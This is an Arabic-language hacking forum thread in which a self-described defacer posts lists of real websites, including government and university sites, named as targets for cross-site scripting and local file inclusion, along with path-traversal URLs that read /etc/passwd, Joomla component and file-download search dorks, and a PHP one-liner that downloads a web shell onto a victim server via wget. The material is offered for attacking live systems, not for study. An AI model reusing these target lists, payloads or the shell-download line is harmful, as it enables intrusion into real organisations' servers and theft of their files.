    http://www.modesty.be/FR/COLLECTIONS/accessoire.php?id=71
    http://www.sitemasters.be/?pagina=forum/index&ond=reply&cat=1&id=36491
    http://im-design.be/bestel/?a=3729&action=add&p=593193&id=17
    http://theliberalpost.com/leftmenubody.php?id=73
    http://www.citiofficers.com/leftmenubody.php?id=35
    http://www.mwo.com.pk/leftmenubody.php?id=1
    http://www.hotelornate.com.pk/leftmenubody.php?id=56
    http://www.hdtvmagazine.com/author.php?id=16
    http://www.cideko.com/pro_con.php?id=3
    http://www.meta-morphos.org/pollBooth.php?op=results&pollID=39
    http://tformers.com/pollBooth.php?pollID=67
    http://www.talkingcock.com/html/pollBooth.php?pollID=33
    http://www.megalithic.co.uk/pollBooth.php?pollID=32
    http://www.qanews.com/pollBooth.php?pollID=2
    http://www.keywallet.com/pollBooth.php?op=results&pollID=6
    http://www.stremlen.ru/pollbooth.php?op=results&pollid=2
    http://www.thejungleisland.com/readnews.php?id=6'
    http://www.kanda.com/readnews.php?id=17
    http://www.msrim.in/readnews.php?d=82
    http://www.cittadellarte.it/readnews.php?id=874
    http://www.kabelindo.co.id/readnews.php?id=4
    http://www.dysfunctionproductions.com/news/readnews.php?id=32
    http://www.upslink.co.uk/readnews.php?id=2
    http://www.bradleysmasterlocksmiths.co.uk/readnews.php?newsid=25
    http://www.succc.org/readnews.php?id=74
    http://www.cti-pfan.net/aboutus.php?id=12
    http://www.parkshvac.com/aboutus.php?id=100
    http://www.ceoheadquarters.com.au/aboutus.php?id=4
    http://www.scholarschoice.edu.np/aboutus.php?id=4
    http://www.chemfuture.com/aboutus.php?id=1
    http://www.erosofttechnologies.com/aboutus.php?id=1
    http://www.cideko.com/pro_con.php?id=3
     
  4. NETJOURNAL

    NETJOURNAL مشرف

    الأنتساب:
    ‏18 مايو 2006
    المشاركات:
    676
    الإعجابات المتلقاة:
    1,543
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    ExploitCoding - ShellCoding - Defacer
    الإقامة:
    etc/shadow/~root
    رد: Sql,lfi.,rfi,xss,csrf,lfd bugs

    Targets with XSS bugs

    كود PHP:
    http://ocio.os.doc.gov/s/idcplg?IdcServi...stReleased
    http://nt.ars-grin.gov/sbmlweb/onlineres...=specimens
    http://www.ths.gov.cn/12333/list.php?cid=1'&page=2
    http://www9.prefeitura.sp.gov.br/secreta.../letters:x
    http://www.mk.gov.lv/lv/sabiedribas-lidz...i/?page=-9
    http://jkpnm.melaka.gov.my/main/page.php?id=777'
    http://ipn.gov.pl/portal/pl/import/54/?i...%3E&page=2
    http://cfpub.epa.gov/supercpad/cursites/...0bad%3d%22
    http://apps.gcis.gov.za/gcis/gcis_profil...Fscript%3E
    http://dietarysupplements.nlm.nih.gov/di...ageD=brand
    http://www.ddcpalpa.gov.np/display/intro...pt%3E&id=1
    http://www.nfz.gov.pl/akademia/?f=%22%20...22&pliki=1
    http://kampinoski-pn.gov.pl/index.php?op...Fscript%3E
    http://archive.org/browse.php?field=%27%...ownLibrary
    http://www.nfz.gov.pl/akademia/index.php...zkolenia=4
     
  5. NETJOURNAL

    NETJOURNAL مشرف

    الأنتساب:
    ‏18 مايو 2006
    المشاركات:
    676
    الإعجابات المتلقاة:
    1,543
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    ExploitCoding - ShellCoding - Defacer
    الإقامة:
    etc/shadow/~root
    رد: Sql,lfi.,rfi,xss,csrf,lfd bugs

    LFI Targets

    كود PHP:
    http://www.aladde.org/index.php?load=../...etc/passwd
    http://www.feuerwehr-juechen.de/lzjueche...etc/passwd
    http://jensen.uib.no/load.php?page=../.....etc/passwd
    http://www.recombineering.net/gb/lightbo...etc/passwd
    http://teacherlibrarian.lib.ntnu.edu.tw/...etc/passwd
    http://www.aladde.org/index.php?load=../...etc/passwd
    http://www.ntswim.org/template.php?page=...etc/passwd
    http://home.npru.ac.th/piya/HDD/web/home.php?
    page=../../../../../../../../../../../../../../etc/passwd
    http
    ://www.kmutt.ac.th/lpm/index.php?pag...etc/passwd
    http://www.windexpress.com/index.php?pag...etc/passwd
    http://www.evoca.ch/index.php?page=../etc/passwd
    http://www.moto-plus.net/index.php?Page=. ./../../../../etc/passwd
    http://www.maxparts.ru/index.php?page=/etc/passwd
    http://www.dreisingerfuneralhome.com/index.php? page=../../../../../etc/passwd
    http://www.daybororuralfire.com.au/index.php? page=/etc/passwd
    http://www.kaltimmethanol.com/indo/index.php? page=/etc/passwd
    http://www.fuw.edu.pl/~trawinski/index.php? page=/etc/passwd
    http://maxponomarenko.ru/index.php?page=/etc/passwd http://www.misbrugscenterherning.dk/index.php?
    page=../../../../../etc/passwd
    http
    ://www.fair-wohnen.de/index.php?page=. ./../../../../../etc/passwd
    http://www.lelo.biz/index.php?name=K ontakt&page=/etc/passwd&items=4
    http://www.wti-juelich.de/index.php?page=/etc/passwd
    http://violetta-tradgard.se/index.php?page=/etc/passwd
    http://www.bodyworld-schkeuditz.de/index...etc/passwd
    http://www.immobilieninvest.at/index.php?page=/ etc/passwd&PHPSESSID=null
    http://www.lc-bensberg-schloss.de/index.php? page=../../../../../../../../etc/passwd
    http://walk-in-the-park.de/index.php?page=/etc/passwd
    http://www.grabowscy.com/index.php?page=/etc/passwd
    http://lib.ugm.ac.id/digitasi/index.php?...Fpasswd%00
    http://www.etechnik-wichmann.de/index.php? page=../../../../etc/passwd
     
  6. NETJOURNAL

    NETJOURNAL مشرف

    الأنتساب:
    ‏18 مايو 2006
    المشاركات:
    676
    الإعجابات المتلقاة:
    1,543
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    ExploitCoding - ShellCoding - Defacer
    الإقامة:
    etc/shadow/~root
    رد: Sql,lfi.,rfi,xss,csrf,lfd bugs

    LFI BUG DORKS

    كود PHP:
    !lfi /index.php?option=com_myblog&Itemid=12&task"com_myblog"
        
    !lfi /index.php?option=com_juliaportfolio&controller"com_juliaportfolio"
        
    !lfi /index.php?option=com_sbsfile&controller"com_sbsfile"
        
    !lfi /index.php?option=com_rokdownloads&controller"com_rokdownloads"
        
    !lfi /index.php?option=com_sectionex&controller"com_sectionex"
        
    !lfi /index.php?option=com_ganalytics&controller"com_ganalytics"
        
    !lfi /index.php?option=com_janews&controller"com_janews"
        
    !lfi /index.php?option=com_linkr&controller"com_linkr"
        
    !lfi /index.php?option=com_rpx&controller"com_rpx"
        
    !lfi /index.php?option=com_ninjarsssyndicator&controller"com_ninjarsssyndicator"
        
    !lfi /index.php?option=com_gcalendar&controller"com_gcalendar"
        
    !lfi /index.php?option=com_ckforms&controller"com_ckforms"
        
    !lfi /index.php?option=com_jeformcr&view"com_jeformcr"
        
    !lfi /index.php?option=com_jresearch&controller"com_jresearch"
        
    !lfi /index.php?option=com_smestorage&controller"com_smestorage"
        
    !lfi /index.php?option=com_properties&controller"com_properties"
        
    !lfi /index.php?option=com_dwgraphs&controller"com_dwgraphs"
        
    !lfi /index.php?option=com_weberpcustomer&controller"com_weberpcustomer"
        
    !lfi /index.php?option=com_userstatus&controller"com_userstatus"
        
    !lfi /index.php?option=com_econtent&controller"com_econtent"
        
    !lfi /index.php?option=com_jvehicles&controller"com_jvehicles"
        
    !lfi /index.php?option=com_joomlapicasa2&controller"com_joomlapicasa2"
        
    !lfi /index.php?option=com_svmap&controller"com_svmap"
        
    !lfi /index.php?option=com_shoutbox&controller"com_shoutbox"
        
    !lfi /index.php?option=com_loginbox&view"com_loginbox"
        
    !lfi /index.php?option=com_myblog&Itemid=12&task"com_myblog"
        
    !lfi /index.php?option=com_juliaportfolio&controller"com_juliaportfolio"
        
    !lfi /index.php?option=com_sbsfile&controller"com_sbsfile"
        
    !lfi /index.php?option=com_rokdownloads&controller"com_rokdownloads"
        
    !lfi /index.php?option=com_sectionex&controller"com_sectionex"
        
    !lfi /index.php?option=com_ganalytics&controller"com_ganalytics"
        
    !lfi /index.php?option=com_janews&controller"com_janews"
        
    !lfi /index.php?option=com_linkr&controller"com_linkr"
        
    !lfi /index.php?option=com_rpx&controller"com_rpx"
        
    !lfi /index.php?option=com_ninjarsssyndicator&controller"com_ninjarsssyndicator"
        
    !lfi /index.php?option=com_gcalendar&controller"com_gcalendar"
        
    !lfi /index.php?option=com_ckforms&controller"com_ckforms"
        
    !lfi /index.php?option=com_jeformcr&view"com_jeformcr"
        
    !lfi /index.php?option=com_jresearch&controller"com_jresearch"
        
    !lfi /index.php?option=com_smestorage&controller"com_smestorage"
        
    !lfi /index.php?option=com_properties&controller"com_properties"
        
    !lfi /index.php?option=com_dwgraphs&controller"com_dwgraphs"
        
    !lfi /index.php?option=com_weberpcustomer&controller"com_weberpcustomer"
        
    !lfi /index.php?option=com_userstatus&controller"com_userstatus"
        
    !lfi /index.php?option=com_econtent&controller"com_econtent"
        
    !lfi /index.php?option=com_jvehicles&controller"com_jvehicles"
        
    !lfi /index.php?option=com_joomlapicasa2&controller"com_joomlapicasa2"
        
    !lfi /index.php?option=com_svmap&controller"com_svmap"
        
    !lfi /index.php?option=com_shoutbox&controller"com_shoutbox"
        
    !lfi /index.php?option=com_loginbox&view"com_loginbox"
        
    !lfi /index.php?option=com_bca-rss-syndicator&controller"com_bca-rss-syndicator"
        
    !lfi /index.php?option=com_joomlaupdater&controller"com_joomlaupdater"
        
    !lfi /index.php?option=com_redshop&view"com_redshop"
        
    !lfi /index.php?option=com_redtwitter&view"com_redtwitter"
        
    !lfi /index.php?option=com_wisroyq&controller"com_wisroyq"
        
    !lfi /index.php?option=com_jinventory&controller"com_jinventory"
        
    !lfi /index.php?option=com_appointment&controller"com_appointment"
        
    !lfi /index.php?option=com_datafeeds&controller"com_datafeeds"
        
    !lfi /index.php?option=com_fabrik&controller"com_fabrik"
        
    !lfi /index.php?option=com_hsconfig&controller"com_hsconfig"
        
    !lfi /index.php?option=com_joomlaflickr&controller"com_joomlaflickr"
        
    !lfi /index.php?option=com_jukebox&controller"com_jukebox"
        
    !lfi /index.php?option=com_jwhmcs&controller"com_jwhmcs"
        
    !lfi /index.php?option=com_sebercart&view"com_sebercart"
        
    !lfi /index.php?option=com_awiki&controller"com_awiki"
        
    !lfi /index.php?option=com_vjdeo&controller"com_vjdeo"
        
    !lfi /index.php?option=com_awdwall&controller"com_awdwall"
        
    !lfi /index.php?option=com_realtyna&controller"com_realtyna"
        
    !lfi /index.php?option=com_webeecomment&controller"com_webeecomment"
        
    !lfi /index.php?option=com_javoice&view"com_javoice"
        
    !lfi /index.php?option=com_foobla_suggestions&controller"com_foobla_suggestions"
        
    !lfi /index.php?option=com_powermail&controller"com_powermail"
        
    !lfi /index.php?option=com_pcchess&controller"com_pcchess"
        
    !lfi /index.php?option=com_spsnewsletter&controller"com_spsnewsletter"
        
    !lfi /index.php?option=com_alphauserpoints&view"com_alphauserpoints"
        
    !lfi /index.php?option=com_travelbook&controller"com_travelbook"
        
    !lfi /index.php?option=com_tweetla&controller"com_tweetla"
        
    !lfi /index.php?option=com_ticketbook&controller"com_ticketbook"
        
    !lfi /index.php?option=com_jajobboard&view"com_jajobboard"
        
    !lfi /index.php?option=com_jajobboard&controller"com_jajobboard"
        
    !lfi /index.php?option=com_jfeedback&controller"com_jfeedback"
        
    !lfi /index.php?option=com_jprojectmanager&controller"com_jprojectmanager"
        
    !lfi /index.php?option=com_preventive&controller"com_preventive"
        
    !lfi /index.php?option=com_myfiles&controller"com_myfiles"
        
    !lfi /index.php?option=com_onlineexam&controller"com_onlineexam"
        
    !lfi /index.php?option=com_joommail&controller"com_joommail"
        
    !lfi /index.php?option=com_memory&controller"com_memory"
        
    !lfi /index.php?option=com_market&controller"com_market"
        
    !lfi /index.php?option=com_diary&controller"com_diary"
        
    !lfi /index.php?option=com_webtv&controller"com_webtv"
        
    !lfi /index.php?option=com_horoscope&controller"com_horoscope"
        
    !lfi /index.php?option=com_arcadegames&controller"com_arcadegames"
        
    !lfi /index.php?option=com_flashgames&controller"com_flashgames"
        
    !lfi /index.php?option=com_addressbook&controller"com_addressbook"
        
    !lfi /index.php?option=com_flexicontent&controller"com_flexicontent"
        
    !lfi /index.php?option=com_advertising&controller"com_advertising"
        
    !lfi /index.php?option=com_cvmaker&controller"com_cvmaker"
        
    !lfi /index.php?option=com_worldrates&controller"com_worldrates"
        
    !lfi /index.php?option=com_record&controller"com_record"
        
    !lfi /index.php?option=com_sweetykeeper&controller"com_sweetykeeper"
        
    !lfi /index.php?option=com_beeheard&controller"com_beeheard"
        
    !lfi /index.php?option=com_blogfactory&controller"com_blogfactory"
        
    !lfi /index.php?option=com_delicious&controller"com_delicious"
        
    !lfi /index.php?option=com_jacomment&view"com_jacomment"
        
    !lfi /index.php?option=com_lovefactory&controller"com_lovefactory"
        
    !lfi /index.php?option=com_mtfireeagle&controller"com_mtfireeagle"
        
    !lfi /index.php?option=com_photobattle&view"com_photobattle"
        
    !lfi /index.php?option=com_s5clanroster&view"com_s5clanroster"
        
    !lfi /index.php?option=com_s5clanroster&controller"com_s5clanroster"
        
    !lfi /index.php?option=com_wgpicasa&controller"com_wgpicasa"
        
    !lfi /index.php?option=com_zimbcomment&controller"com_zimbcomment"
        
    !lfi /index.php?option=com_zimbcore&controller"com_zimbcore"
        
    !lfi /index.php?option=com_gadgetfactory&controller"com_gadgetfactory"
        
    !lfi /index.php?option=com_matamko&controller"com_matamko"
        
    !lfi /index.php?option=com_archeryscores&controller"com_archeryscores"
        
    !lfi /index.php?option=com_multiroot&controller"com_multiroot"
        
    !lfi /index.php?option=com_multimap&controller"com_multimap"
        
    !lfi /index.php?option=com_drawroot&controller"com_drawroot"
        
    !lfi /index.php?option=com_google&controller"com_google"
        
    !lfi /index.php?option=com_if_surfalert&controller"com_if_surfalert"
        
    !lfi /index.php?option=com_orgchart&controller"com_orgchart"
        
    !lfi /index.php?option=com_mmsblog&controller"com_mmsblog"
        
    !lfi /index.php?option=com_wmi&controller"com_wmi"
        
    !lfi /index.php?option=com_ultimateportfolio&controller"com_ultimateportfolio"
        
    !lfi /index.php?option=com_noticeboard&controller"com_noticeboard"
        
    !lfi /index.php?option=com_smartsite&controller"com_smartsite"
        
    !lfi /index.php?option=com_graphics&controller"com_graphics"
        
    !lfi /index.php?option=com_php&file"com_php"
        
    !lfi /index.php?option=com_aardvertiser&task"com_aardvertiser"
        
    !lfi /index.php?option=com_jejob&view"com_jejob"
        
    !lfi /index.php?option=com_jeajaxeventcalendar&view"com_jeajaxeventcalendar"
        
    !lfi /index.php?option=com_dioneformwizard&controller"com_dioneformwizard"
        
    !lfi /index.php?option=com_jequoteform&view"com_jequoteform"
        
    !lfi /index.php?option=com_mscomment&controller"com_mscomment"
        
    !lfi /index.php?option=com_simpledownload&controller"com_simpledownload"
        
    !lfi /index.php?option=com_event&view"com_event"
        
    !lfi /index.php?option=com_product&controller"com_product"
        
    !lfi /index.php?option=com_job&controller"com_job"
        
    !lfi /index2.php?option=com_simpledownload&controller"com_simpledownload"
        
    !lfi /index.php?option=com_perchaimageattach&controller"com_perchaimageattach"
        
    !lfi /index.php?option=com_perchafieldsattach&controller"com_perchafieldsattach"
        
    !lfi /index.php?option=com_perchagallery&controller"com_perchagallery"
        
    acion=
        
    act=
        
    action=
        
    API_HOME_DIR=
        
    board=
        
    cat=
        
    client_id=
        
    cmd=
        
    cont=
        
    current_frame=
        
    date=
        
    detail=
        
    dir=
        
    display=
        
    download=
        
    f=
        
    file=
        
    fileinclude=
        
    filename=
        
    firm_id=
        
    g=
        
    getdata=
        
    go=
        
    HT=
        
    idd=
        
    inc=
        
    incfile=
        
    incl=
        
    include_file=
        
    include_path=
        
    infile=
        
    info=
        
    ir=
        
    lang=
        
    language=
        
    link=
        
    load=
        
    main=
        
    mainspot=
        
    msg=
        
    num=
        
    openfile=
        
    p=
        
    page=
        
    pagina=
        
    path=
        
    path_to_calendar=
        
    pg=
        
    plik
        qry_str
    =
        
    ruta=
        
    safehtml=
        
    section=
        
    showfile=
        
    side=
        
    site_id=
        
    skin=
        static=
        
    str=
        
    strona=
        
    sub=
        
    tresc=
        
    url=
        
    user=
     
  7. NETJOURNAL

    NETJOURNAL مشرف

    الأنتساب:
    ‏18 مايو 2006
    المشاركات:
    676
    الإعجابات المتلقاة:
    1,543
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    ExploitCoding - ShellCoding - Defacer
    الإقامة:
    etc/shadow/~root
    رد: Sql,lfi.,rfi,xss,csrf,lfd bugs

    LFD -Local File Disclosure DORKS
    كود PHP:
    inurl:"download.php?file="
    inurl:"download.php?src="
    inurl:"download.php?url="
    inurl:"download.php?f="
    inurl:"download.php?book_file="
    inurl:"download.php?di_key="
    inurl:"download.php?path="
    inurl:"download.php?dfile="
    inurl:"download.php?get="
    inurl:"download.php?u="
    inurl:"dl.php?file="
    inurl:"down.php?dd="
    inurl:"down.php?name="
    inurl:"down.php?downfile"
    inurl:"down.php?arq="
    inurl:"file.php?src="
    inurl:"download.php?downloadFile"
    inurl:"download.php?page="
     
  8. NETJOURNAL

    NETJOURNAL مشرف

    الأنتساب:
    ‏18 مايو 2006
    المشاركات:
    676
    الإعجابات المتلقاة:
    1,543
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    ExploitCoding - ShellCoding - Defacer
    الإقامة:
    etc/shadow/~root
    رد: Sql,lfi.,rfi,xss,csrf,lfd bugs

    LFI DS سكربت الأستغلال ..

    كود PHP:
    <?system('wget http://www.website.com/yourshell.txt -o shell.php');>
     
  9. NETJOURNAL

    NETJOURNAL مشرف

    الأنتساب:
    ‏18 مايو 2006
    المشاركات:
    676
    الإعجابات المتلقاة:
    1,543
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    ExploitCoding - ShellCoding - Defacer
    الإقامة:
    etc/shadow/~root
    رد: Sql,lfi.,rfi,xss,csrf,lfd bugs

    نـــطاقات الدول ..


    كود PHP:
    Afghanistan     af
    Albania     al
    Algeria     dz
    American Samoa     
    as
    Andorra     ad
    Angola     ao
    Anguilla     ai
    Antarctica     aq
    Antigua 
    and Barbuda     ag
    Argentina     ar
    Armenia     am
    Aruba     aw
    Ascension Island     ac
    Australia     au
    Austria     at
    Azerbaijan     az
    Bahrain     bh
    Bangladesh     bd
    Barbados     bb
    Belarus     by
    Belgium     be
    Belize     bz
    Benin     bj
    Bermuda     bm
    Bhutan     bt
    Bolivia     bo
    Bosnia 
    and Herzegowina     ba
    Botswana     bw
    Bouvet Island     bv
    Brazil     br
    British Indian Ocean Territory     io
    Brunei     bn
    Bulgaria     bg
    Burkina Faso     bf
    Burundi     bi
    Cambodia     kh
    Cameroon     cm
    Canada     ca
    Cape Verde     cv
    Central African Republic     cf
    Chad     td
    Channel Islands
    Guernsey     gg
    Channel Islands
    Jersey     je
    Chile     cl
    China     cn
    Christmas Island     cx
    Cocos 
    (KeelingIslands     cc
    Colombia     co
    Comoros     km
    Congo     cg
    Congo
    Democratic Republic of     cd
    Cook Islands     ck
    Costa Rica     cr
    Cote d
    'Ivoire     ci
    Croatia     hr
    Cuba     cu
    Cyprus     cy
    Czech Republic     cz
    Denmark     dk
    Djibouti     dj
    Dominica     dm
    Dominican Republic     do
    East Timor     tp
    Ecuador     ec
    Egypt     eg
    El Salvador     sv
    Equatorial Guinea     gq
    Eritrea     er
    Estonia     ee
    Ethiopia     et
    Falkland Islands     fk
    Faroe Islands     fo
    Fiji     fj
    Finland     fi
    France     fr
    French Guiana     gf
    French Polynesia     pf
    French Southern Territories     tf
    French, Metropolitan     fx
    Gabon     ga
    Gambia     gm
    Georgia     ge
    Germany     de
    Ghana     gh
    Gibraltar     gi
    Greece     gr
    Greenland     gl
    Grenada     gd
    Guadeloupe     gp
    Guam     gu
    Guatemala     gt
    Guinea     gn
    Guinea-Bissau     gw
    Guyana     gy
    Haiti     ht
    Heard and McDonald Islands     hm
    Honduras     hn
    Hong Kong     hk
    Hungary     hu
    Iceland     is
    India     in
    Indonesia     id
    Iran     ir
    Iraq     iq
    Ireland     ie
    Isle of Man     im
    Israel ( فلسطين المحتله )     il
    Italy     it
    Jamaica     jm
    Japan     jp
    Jordan     jo
    Kazakhstan     kz
    Kenya     ke
    Kiribati     ki
    Korea, Democratic People'
    s Republic of     kp
    Korea
    Republic of     kr
    Kuwait     kw
    Kyrgyzstan     kg
    Laos     la
    Latvia     lv
    Lebanon     lb
    Lesotho     ls
    Liberia     lr
    Libyan Arab Jamahiriya     ly
    Liechtenstein     li
    Lithuania     lt
    Luxembourg     lu
    Macao     mo
    Macedonia     mk
    Madagascar     mg
    Malawi     mw
    Malaysia     my
    Maldives     mv
    Mali     ml
    Malta     mt
    Marshall Islands     mh
    Martinique     mq
    Mauritania     mr
    Mauritius     mu
    Mayotte     yt
    Mexico     mx
    Micronesia     fm
    Moldova     md
    Monaco     mc
    Mongolia     mn
    Montserrat     ms
    Morocco     ma
    Mozambique     mz
    Myanmar     mm
    Namibia     na
    Nauru     nr
    Nepal     np
    Netherlands     nl
    Netherlands Antilles     an
    New Caledonia     nc
    New Zealand     nz
    Nicaragua     ni
    Niger     ne
    Nigeria     ng
    Niue     nu
    Norfolk Island     nf
    Northern Mariana Islands     mp
    Norway     no
    Oman     om
    Pakistan     pk
    Palau     pw
    Palestine     ps
    Panama     pa
    Papua 
    New Guinea     pg
    Paraguay     py
    Peru     pe
    Philippines     ph
    Pitcairn     pn
    Poland     pl
    Portugal     pt
    Puerto Rico     pr
    Qatar     qa
    Reunion     re
    Romania     ro
    Russia     ru
    Rwanda     rw
    Saint Kitts 
    and Nevis     kn
    Saint Lucia     lc
    Saint Vincent 
    and the Grenadines     vc
    Samoa     ws
    San Marino     sm
    Sao Tome 
    and Principe     st
    Saudi Arabia     sa
    Senegal     sn
    Seychelles     sc
    Sierra Leone     sl
    Singapore     sg
    Slovakia     sk
    Slovenia     si
    Solomon Islands     sb
    Somalia     so
    South Africa     za
    South Georgia 
    and the South Sandwich Islands     gs
    Spain     es
    Sri Lanka     lk
    St
    Helena     sh
    St
    Pierre and Miquelon     pm
    Sudan     sd
    Suriname     sr
    Svalbard 
    and Jan Mayen Islands     sj
    Swaziland     sz
    Sweden     se
    Switzerland     ch
    Syria     sy
    Taiwan     tw
    Tajikistan     tj
    Tanzania     tz
    Thailand     th
    The Bahamas     bs
    The Cayman Islands     ky
    Togo     tg
    Tokelau     tk
    Tonga     to
    Trinidad 
    and Tobago     tt
    Tunisia     tn
    Turkey     tr
    Turkmenistan     tm
    Turks 
    and Caicos Islands     tc
    Tuvalu     tv
    Uganda     ug
    Ukraine     ua
    United Arab Emirates     ae
    United Kingdom     uk
    United States     us
    United States Minor Outlying Islands     um
    Uruguay     uy
    Uzbekistan     uz
    Vanuatu     vu
    Vatican City State     va
    Venezuela     ve
    Vietnam     vn
    Virgin Islands 
    (British)     vg
    Virgin Islands 
    (US)     vi
    Wallis 
    and Futuna Islands     wf
    Western Sahara     eh
    Yemen         ye
    Yugoslavia     yu
    Zambia         zm
    Zimbabwe     zw
        
     
  10. KaDiM aL-iRaQi

    KaDiM aL-iRaQi ExpertDeveloper ExpErt DeveloPer

    الأنتساب:
    ‏2 سبتمبر 2014
    المشاركات:
    680
    الإعجابات المتلقاة:
    23
    نقاط الجائزة:
    18
    رد: Sql,lfi.,rfi,xss,csrf,lfd bugs

    عشت حبيبي الغاآلي [​IMG] بارك الله بيك[FONT=ae_AlMothnna]
    [/FONT]​
     

مشاركة هذه الصفحة